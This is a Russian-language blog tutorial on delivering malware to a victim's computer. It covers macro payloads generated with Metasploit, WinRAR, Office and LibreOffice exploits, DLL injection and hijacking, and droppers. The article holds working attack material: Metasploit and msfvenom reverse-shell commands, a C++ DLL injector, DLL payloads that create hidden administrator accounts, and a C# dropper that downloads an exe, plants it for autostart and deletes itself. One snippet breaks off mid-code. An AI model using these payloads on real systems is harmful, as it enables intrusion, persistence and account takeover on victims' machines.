Загружаем малварь на компьютер жертвы: от макросов до дроперов для самых маленьких и ленивых

Тут и там ты натыкаещься на сообщения, о том, что здесь взломали “с помощью файла ялыков”, а здесь с...

Загружаем малварь на компьютер жертвы: от макросов до дроперов для самых маленьких и ленивых

Тут и там ты натыкаещься на сообщения, о том, что здесь взломали “с помощью файла ялыков”, а здесь с помощью докумернта Office. Как же они это делают и насколько всё сложно. Сегодня разбираемся.

После того, как злоумышленники идентифицировали цель, их следующим шагом часто является доставка полезной нагрузки. Многие системы или устройства в некоторой степени защищены антивирусным программным обеспечением, которое может распознавать, помечать или блокировать вредоносный пейлоад. Для обхода подобных систем защиты обычно используют специальные инструменты, такие как загрузчики, дропперы и шифровальщики, как часть первоначального заражения. Эти инструменты предназначены для того, чтобы избежать обнаружения продуктами безопасности, а затем загрузить и выполнить одну или несколько вредоносных полезных нагрузок. В этой статье мы постараемся максимально доступно рассказать о техниках, вредоносном ПО и инструментах, которые злоумышленники используют во время атак, а также напишем  дроппер и лоадер, исключительно, для того, чтобы понять, как защищаться от подобных угроз.

Вредоносные макросы

Вы проверяете свою электронную почту, загружаете безобидный на вид документ Word, открываете его – и уже через несколько секунд ваш компьютер заражен вредоносным ПО. Вирус начинает распространяться по вашей локальной сети, может быть, он крадет ваши пароли или шифрует файлы требуя выкуп.

Давайте подробнее рассмотрим макровирусы и способы защиты от них.

Начнем с того, что такое макрос? Это небольшая программа, которая запускается внутри более крупной программы для автоматизации задачи от имени пользователя – обычно это сложная или трудоемкая задача, которую было бы неудобно выполнять вручную или трудно выполнять точно и последовательно.

Макросы написаны на языке программирования, предназначенном для работы в более широкой среде. Так, например, макросы для Microsoft Office в настоящее время написаны на Visual Basic для приложений (VBA), разновидности популярного языка программирования Microsoft Visual Basic, который был создан специально для Office. VBA работает с большинством программ Office, включая Access, Excel, Outlook, PowerPoint, Project, Publisher, Visio и Word. Он также работает в самых последних версиях Office как для Windows, так и для Macintosh, и, согласно Microsoft, большинство существующих макросов VBA также будет работать в облачном Office 365.

Поскольку макросы – это программы, написанные на языке программирования, они могут быть скомпрометированы авторами вредоносных программ. Макросы Microsoft Office VBA – особенно привлекательная цель, потому что Office используется очень многими людьми (1,2 миллиарда пользователей). Некоторое время казалось, что угроза макровирусов исчезает, но недавно они вернулись: летом 2018 года один исследователь обнаружил, что почти половина всех загрузчиков вредоносных программ встраивалась как макровирусы Office.

Лучший способ обезопасить себя от макровирусов – не запускать их. В последних версиях Office Microsoft изменила настройки по умолчанию: теперь, если вы откроете файл, содержащий макрос VBA, файл откроется, но макрос будет отключен. По умолчанию вам будет показано сообщение, информирующее вас об этом и дающее вам возможность включить макросы в этом файле, если вы уверены, что они безопасны. (Конечно, это предполагает, что вы уверены, что файл был получен из источника, которому вы можете полностью доверять – или, может быть, вы написали макрос самостоятельно.)

Для генерации вредоносного макрокода, который загрузит полезную нагрузку при выполнении мы будем использовать Metasploit, но есть и другие заслуживающие внимания инструменты – Empire, Evil Clipper, LuckyStrike и Magic Unicorn. После запуска на машине жертвы эта полезная нагрузка инициирует HTTPS-соединение с нашей атакующей машиной.

После запуска Metasploit пишем:

use windows/meterpreter/reverse_https

set LHOST ip

set LPORT port

set AutoRunScript /post/windows/manage/smart_migrate

generate -f vba -o payload.vba

После создания полезной нагрузки нужно запустить reverse_tcp handler:

use exploit/multi/handler

set LHOST ip

set LPORT port

set payload windows/meterpreter/reverse_tcp

run

Теперь перейдем к созданию вредоносного документа.

На компьютере с Windows открываем выбранное приложение MS Office. Сначала мы откроем окно макросов, нажав Вид -> Макросы :

В окне макросов мы нажмем Создать и вставим содержимое файлаpayload.vba в редактор VBA, который откроется:

Теперь все настроено. После открытия файла либо макрос запустится автоматически, либо жертве будет предложено включить макросы с помощью кнопки Включитьсодержимое :

Когда макрос запуститься мы получим сессию meterpreter.

Как и в случае с другими вредоносными программами на основе файлов, вредоносные макросы (которые, по сути, представляют собой файлы кода, встроенные в файл Office) могут быть обнаружены. Например, макрос может считаться вредоносным, если он:

Однако по мере того, как угрозы становятся все более запутанными и сложными, возрастает потребность в более сложных методах обнаружения. Начиная с Windows 10, Microsoft добавила новый компонент под названием Anti-Malware Scan Interface (AMSI) для решения этой проблемы. AMSI от Microsoft действует как интерфейс между интерпретаторами сценариев и антивирусными механизмами, позволяя им больше контролировать выполнение макросов, чем когда-либо прежде.

Критические уязвимости

Вам наверняка приходилось сталкиваться с понятием эксплоит или CVE, и вы знаете, что многие компании заражают через фишинговые письма с вложениями. Какая тут связь? Как мы уже знаем архив или документ, который прислали по почте может содержать в себе вредоносный код и для примера мы кратко рассмотрим три критических уязвимости, в популярном ПО, которые могут стать началом атаки.

CVE-2018-20250

WinRAR поддерживает сжатие и распаковку нескольких форматов файловых архивов и для работы одного из них (ACE) интегрирована 19-летняя библиотека unacev2.dll, которая никогда не обновлялась с 2006 года, а также не поддерживает какие-либо технологии защиты. Уязвимость была обнаружена исследователями Check Point и заключается в том, что unacev2.dll не может правильно фильтровать относительные пути при проверке целевого пути. Поэтому можно создать специальный архив ACE, который при распаковке поместит вредоносный файл в указанном вами месте, в обход фактического пути. Помещение вредоносного исполняемого файла в папку автозагрузки системы приводит к выполнению произвольного кода.

Эксплоит: https://github.com/WyAtu/CVE-2018-20250

Для работы скрипта необходим Python 3.7 и выше. В коде есть переменные куда нужно вписать ваши значения:

# Имя архива

rar_filename = “test.rar”

# Файл который будет скопирован в Startup

evil_filename = “calc.exe”

# Имя для evil_filename после того, как он будет скопирован в Startup

target_filename = r”C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe”

# Файлы которые будут видны, когда откроется архив

filename_list = [“hello.txt”, “world.txt”]

CVE-2017-0199

Разработчики Microsoft в апреле 2017 года представили исправление для уязвимости CVE-2017-0199, которая затрагивала Microsoft Office. На момент выхода патча этот 0-day баг уже взяли на вооружение злоумышленники. По данным специалистов Proofpoint, Netskope и FireEye, с помощью этой уязвимости на машины пользователей доставляли таких вредоносов, как Dridex, WingBird, Latentbot и Godzilla.

Ошибка, лежащая в основе бага, связана с некорректной обработкой ответов от сервера в функции Microsoft OLE (Object Linking and Embedding), дающая возможность внедрять одни документы внутрь других. После того, как зараженный документ будет открыт, приложение сделает запрос на удаленный сервер, чтобы получить встроенный в этот документ файл. Специально сформированный ответ, возвращаемый сервером и содержащийся в нем вpедоносный файл HTA, код из которого, после загрузки, выполняется на целевой системе. Если ранее для атак использовались документы Rich Text File (RTF), то сейчас злоумышленники переключились на PowerPoint Show (файлы PPSX), которые распространяются вместе со спамерскими письмами, в виде вложений.

Как только файл PPSX был открыт, происходит следующее: с помощью анимации PowerPoint Show запускается загрузка файла logo.doc, который содержит XML и JavaScript и запускает PowerShell-команду, приводящую к загрузке с управляющего сервера злоумышленников файла и его выполнению.

Эксплоит: https://github.com/bhdresh/CVE-2017-0199

CVE-2018-16858

Найденная уязвимость в LibreOffice позволяет выполнить несанкционированный доступ к файловой системе, используя атаку обхода пути (path traversal attack). Модифицированный файл ODT может загрузить за пределами родительского каталога скрипт на Python, который получит доступ к файловой системе и выполнит любые указанные действия с правами текущего пользователя.

Первым данную уязвимость обнаружил старший пентестер немецкой фирмы Cure53 Алекс Инфур (Alex Infuhr). Он предал свою находку огласке, и LibreOffice пропатчили, однако все версии до 6.0.7 по-прежнему уязвимы.

Экплоит:

https://www.exploit-db.com/exploits/46727

https://github.com/4nimanegra/libreofficeExploit1

Лоадеры

Лоадеры обычно содержат ограниченный набор возможностей, их целью является обследование компьютера жертвы, а затем загрузка и выполнение более сложного вредоносного ПО. Точные детали этого процесса варьируются от загрузчика к загрузчику, но самые простые решения могут сохранить окончательную полезную нагрузку в файловой системе жертвы, а затем запустить ее как новый процесс. Продвинутые загрузчики будут хранить загруженную полезную нагрузку полностью в памяти и выполнять ее с помощью техники внедрения dll (DLL injection). Сохраняя полезную нагрузку в памяти, загрузчик снижает вероятность того, что вредоносное ПО могут обнаружить.

Атаки в памяти

Причина, по которой злоумышленники стараются избежать записи файлов на диск, заключается в том, что большинство широко используемых программ безопасности (например, антивирус) концентрируют свои усилия на проверке диска, хоть атаки в памяти и являются более сложными, они позволяют обойти антивирусное программное обеспечение. Для злоумышленника, желающего остаться незамеченным, в настоящее время это лучший способ.

Начнём с основ. Библиотеки DLL присутствуют в Windows с первой версии операционной системы. По сути, все функции в Windows API содержатся в DLL библиотеках. Самые важные – это Kernel32.dll (отвечающая за управление памятью, потоками и процессами), User32.dll (отвечающая за функции юзер-интерфейса), GDI32.dll (отвечающая за отрисовку линий и кривых, отображение шрифтов и обработку палитры).

DLL инъекция – это процесс вставки/инъекции кода в запущенный процесс. Код, который мы вставляем, представляет из себя динамически подключаемую библиотеку (dll).

На представленной диаграмме проиллюстрирован процесс почти каждой методики DLL инъекции:

  1. Присоединиться к целевому/удаленному процессу.
  2. Выделить память внутри целевого/удаленного процесса.
  3. Скопировать путь к DLL или её содержимое в память выбранного процесса.
  4. Проинструктировать процесс выполнить запуск DLL.

Мы имеем несколько вариантов опций для указания процесса выполнения нашей DLL. Самые распространенные из них – CreateRemoteThread (этот способ мы будем использовать что бы написать собственный лоадер) и NtCreateThreadEx.

CreateRemoteThread()

Можно сказать, что CreateRemoteThread() – классическая и самая популярная техника DLL инъекций. Также она отлично документирована.

Техника состоит из нескольких шагов:

  1. Открытие целевого процесса с помощью OpenProcess()
  2. Поиск адреса в LoadLibrary() с помощью GetProcAddress()
  3. Резервирование памяти для DLL в целевом или удаленном адресном пространстве процесса с помощью VirtualAllocEx()
  4. Запись DLL в зарезервированную память с помощью WriteProcessMemory()
  5. С помощью CreateRemoteThread() создается нить нового потока, который вызовет функцию LoadLibrary() с именем DLL

Как указано в MSDN, функция LoadLibrary() “загружает специальные модули в адресное пространство и вызывает процесс. Указанный модуль может загружать другие загруженные модули”. Обычно для загрузки DLL в Windows используют именно эту функцию, она берет путь к файлу и выполняет свои функции, не требуя от пользователя слишком многого.

Reflective DLL injection

Существует более скрытый метод, называемый рефлексивной инъекцией DLL. Рефлексивная DLL инъекция работает, копируя всю DLL в память, поэтому она позволяет избежать регистрации DLL в процессе. Вся трудная работа уже сделана за нас.

Мы используем GetReflectiveLoaderOffset(), чтобы определить относительный адрес в памяти процессов, затем мы используем относительный адрес плюс базовый адрес памяти в целевом или удаленном процессе (где мы написали DLL) в качестве отправной точки выполнения. Вот основные 4 шага для достижения этого:

  1. Запись заголовков DLL в память
  2. Запись каждого раздела в память (путем разбора таблицы разделов)
  3. Проверьте импорт и загрузку любых других импортированных DLL
  4. Вызов входной точки DllMain

Этот метод предлагает отличный уровень скрытности по сравнению с другими методами и широко используется в Metasploit. Если вы хотите ознакомиться с этим способом подробнее вам следует посетить репозиторий первооткрывателя этой техники Стивена Фьюера:

https://github.com/stephenfewer/ReflectiveDLLInjection

https://www.exploit-db.com/docs/english/13007-reflective-dll-injection.pdf

Process hollowing

Этот метод запускает законный процесс, единственная цель которого – быть контейнером для вредоносного кода. Он переводит процесс в “приостановленное” состояние, затем перезаписывает содержимое требуемым кодом в памяти и продолжает выполнение.

Dridex – печально известная банковская вредоносная программа – и многие ее разновидности используют эту технику, чтобы закрепиться на машинах. Этот тип вредоносного ПО обычно следует этой последовательности:

– Открывается фишинговое письмо со встроенным макросом (еще раз демонстрируя, что люди непреднамеренно являются самым слабым звеном в организации);

– Вредоносный контент загружается с URL-адреса;

– Извлекается распакованная версия эксплойта в память, которая затем запускается;

– Вредоносная программа теперь будет отслеживать пользователей, ожидая ввода учетных данных, также может загружать файлы, выполнять файлы и внедряться в процессы браузера для отслеживания информации.

DLL Hijacking

DLL Hijacking (подмена DLL) – эта техника злоупотребляет тем, как Windows загружает библиотеки DLL при выполнении EXE-файлов, и как в этой ОС работают разрешения для папок. По умолчанию аутентифицированный пользователь может добавить файл в каталог, который ему не принадлежит, но не может перезаписать или удалить существующие файлы. 

Если программа или служба загружает файл из каталога, к которому у нас есть доступ для записи, мы можем злоупотребить этим, чтобы открыть шелл с привилегиями, с которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска для поиска DLL, и будет проверять эти пути в определенном порядке. Подмена обычно происходит путем помещения вредоносной библиотеки DLL в один из этих путей:

  1. Каталог, из которого загружено приложение
  2. 32-битный системный каталог (C:\Windows\System32)
  3. 16-битный системный каталог (C:\Windows\System)
  4. Каталог Windows (C:\Windows)
  5. Текущий рабочий каталог
  6. Каталоги в переменной среды PATH

Иногда случается, что приложения пытаются загрузить библиотеки DLL, которые не существуют на компьютере. Если у вас есть право записи в любую из папок, где Windows будет искать DLL, вы можете сделать вредоносный файл для выполнения произвольного кода.

C++ Loader

Без лишних слов преступим к написанию лоадера. Сначала мы ищем процесс (PID), далее выделяем память для нашей DLL, после чего загружаем её в новый поток внутри процесса, таким образом, инжектор выполнит код от имени пользователя программы.

Что бы каждый раз не запускать компилятор и не переписывать код мы будем передавать PID (Process ID) через аргумент (argv[1]), при желании можете сделать то же самое с именем DLL.

Для удобства значения этим аргументам можно указать прямо в CodeBlocks, просто следуйте шагам, которые показаны на скриншотах ниже:

В поле “Program arguments” нужно указать ID процесса в который вы хотите инжектить dll. Следует помнить, что для x86 процессов нужна соответствующая dll, x64  не получится заинжектить в x86 процесс. Для демонстрации я использовал этот репозиторий с заранее скомпилированными DLL, которые выводят на экран “Hello world!”:

https://github.com/carterjones/hello-world-dll/releases

Также в качестве загружаемого dll может использоваться пейлоад сгенерированный через msfvenom:

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=Port -f dll > dll.dll

Код программы:

#include <windows.h>

#include <stdio.h>

int main(int argc, char *argv[]) {

HANDLE processHandle;

PVOID remoteBuffer;

wchar_t dllPath[] = TEXT(L”Полный_путь_к_dll”);

printf(“Injecting DLL to PID: %i\n”, atoi(argv[1]));

// Открываем процесс для записи и чтения

processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

// Выделяем память под новый поток

remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);

// Пишем в новую область памяти

WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);

PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);

// Создаем поток в области памяти который запускает наш код

CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);

CloseHandle(processHandle);

return 0;

}

Собственные DLL на С и С++

Перед тем как писать такие dll нужно установить Mingw, для компиляции файлов:

apt‐get update && apt‐get install mingw‐w64

// Работает на Win10

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){

    switch(dwReason){

        case DLL_PROCESS_ATTACH:

            system(“whoami > C:\\Users\\USERNAME\\whoami.txt”);

            WinExec(“calc.exe”, 0);

            break;

        case DLL_PROCESS_DETACH:

            break;

        case DLL_THREAD_ATTACH:

            break;

        case DLL_THREAD_DETACH:

            break;

    }

    return TRUE;

}

// Для x64: x86_64-w64-mingw32-gcc ИМЯ_ФАЙЛА.c -shared -o ИМЯ_DLL.dll

// Для x86: i686-w64-mingw32-gcc ИМЯ_ФАЙЛА.c -shared -o ИМЯ_DLL.dll

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){

    if (dwReason == DLL_PROCESS_ATTACH){

        system(“cmd.exe /k net localgroup administrators user /add”);

        ExitProcess(0);

    }

    return TRUE;

}

// x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp -shared -o ИМЯ_DLL.dll main.o -Wl,–out-implib,main.a

#include <windows.h>

int owned()

{

  WinExec(“cmd.exe /c net user user1337 Password01 ; net localgroup administrators user1337 /add”, 0);

  exit(0);

  return 0;

}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)

{

  owned();

  return 0;

}

// i686-w64-mingw32-gcc ИМЯ_ФАЙЛА.c -shared -lws2_32 -o ИМЯ_DLL.dll

#include<windows.h>

#include<stdlib.h>

#include<stdio.h>

void Entry (){

    system(“cmd”);

}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

    switch (ul_reason_for_call){

        case DLL_PROCESS_ATTACH:

            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);

            break;

        case DLL_THREAD_ATTACH:

        case DLL_

Дропперы

Дропперы – вредоносные программы, основной целью которых является установка других компонентов/вредоносных программ, это средство для достижения цели, а не сама цель. Они получили свое название, потому что  “сбрасывают” другие вредоносные программы в целевую систему и уже эти программы делают грязную работу. Дропперы обычно удаляют себя после того, как установили своих “сообщников”.

Поскольку дропперы не наносят прямого ущерба и могут присутствовать только в течение короткого периода времени, системам обнаружения вредоносных программ намного сложнее идентифицировать их. Тем не менее, будучи отправной точкой многих атак, особенно важно точно обнаруживать и уничтожать их.

Дропперы распространяются разными способами. Некоторые из них очевидны и их легко избежать – например, вложение в спам-сообщения, они также могут распространяться через зараженные приложения. Как пример можно привести новость о том, что в CamScanner, популярном приложении для Android, которое скачали более 100 миллионов раз, в течение некоторого времени был спрятан дроппер.

C# Dropper

Эта программа сохраняет в памяти exe, адресс которого вы укажете и копирует его в автозагрузку, после того как все сделано, она самоуничтожится.

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Threading;
namespace cybersec_dropper
{
    class Program
    {
        static void Main()
        {
            Thread.Sleep(2500);
            byte[] Payload = DownloadPayload("http://URL_TO_EXE/malware.exe");
            if (InstallPayload(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu) + "\\totalyNOTaVirus.exe", Payload))
            {
                Melt();

            }
        }

        // Функция скачивания
        private static byte[] DownloadPayload(string url)

        {

        re:
            try

            {
                using (WebClient wc = new WebClient())
                {

                    return wc.DownloadData(url);

                }
            }
            catch
            {

                Thread.Sleep(5000);
                goto re;
            }
        }

        // Функция "установки"
        private static bool InstallPayload(string dropPath, byte[] payloadBuffer)
        {
            if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
            {
                FileStream FS = null;
                try
                {
                    if (!File.Exists(dropPath))
                        FS = new FileStream(dropPath, FileMode.CreateNew);



                    else

                        FS = new FileStream(dropPath, FileMode.Create);
                    FS.Write(payloadBuffer, 0, payloadBuffer.Length);
                    FS.Dispose();
                    Process.Start(dropPath);

                    return true;
                }

                catch



                {

                    return false;

                }
            }
            return false;
        }



        // Функция самоуничтожения
        private static void Melt()
        {
            ProcessStartInfo Del = null;
            try
            {
                Del = new ProcessStartInfo()
                {

                    Arguments = "/C choice /C Y /N /D Y /T 1 &amp; Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    CreateNoWindow = true,
                    FileName = "cmd.exe"
                };



            }



            catch { }



            finally

            {
                Process.Start(Del);
                Environment.Exit(0);
            }
        }
    }
}

// i686-w64-mingw32-g++ ИМЯ_ФАЙЛА.c -lws2_32 -o ИМЯ_DLL.dll -shared

Итоги

Разумеется, это далеко не все техники и инструменты, которые используются злоумышленниками и в этой статье мы рассмотрели лишь небольшую их часть. Нашей главной целью было донести до вас что главная угроза в безопасности – человек. Именно человеческий фактор является источником многих атак. Безопасность и защита вашей системы напрямую зависит от вас.

И помните, главное – не кашлять.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Комментарии

  1. С интересом читаю ваши статьи! С удовольствием скину донат на пивко. Кробу бы тоже задонатил, но уже поздно..

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *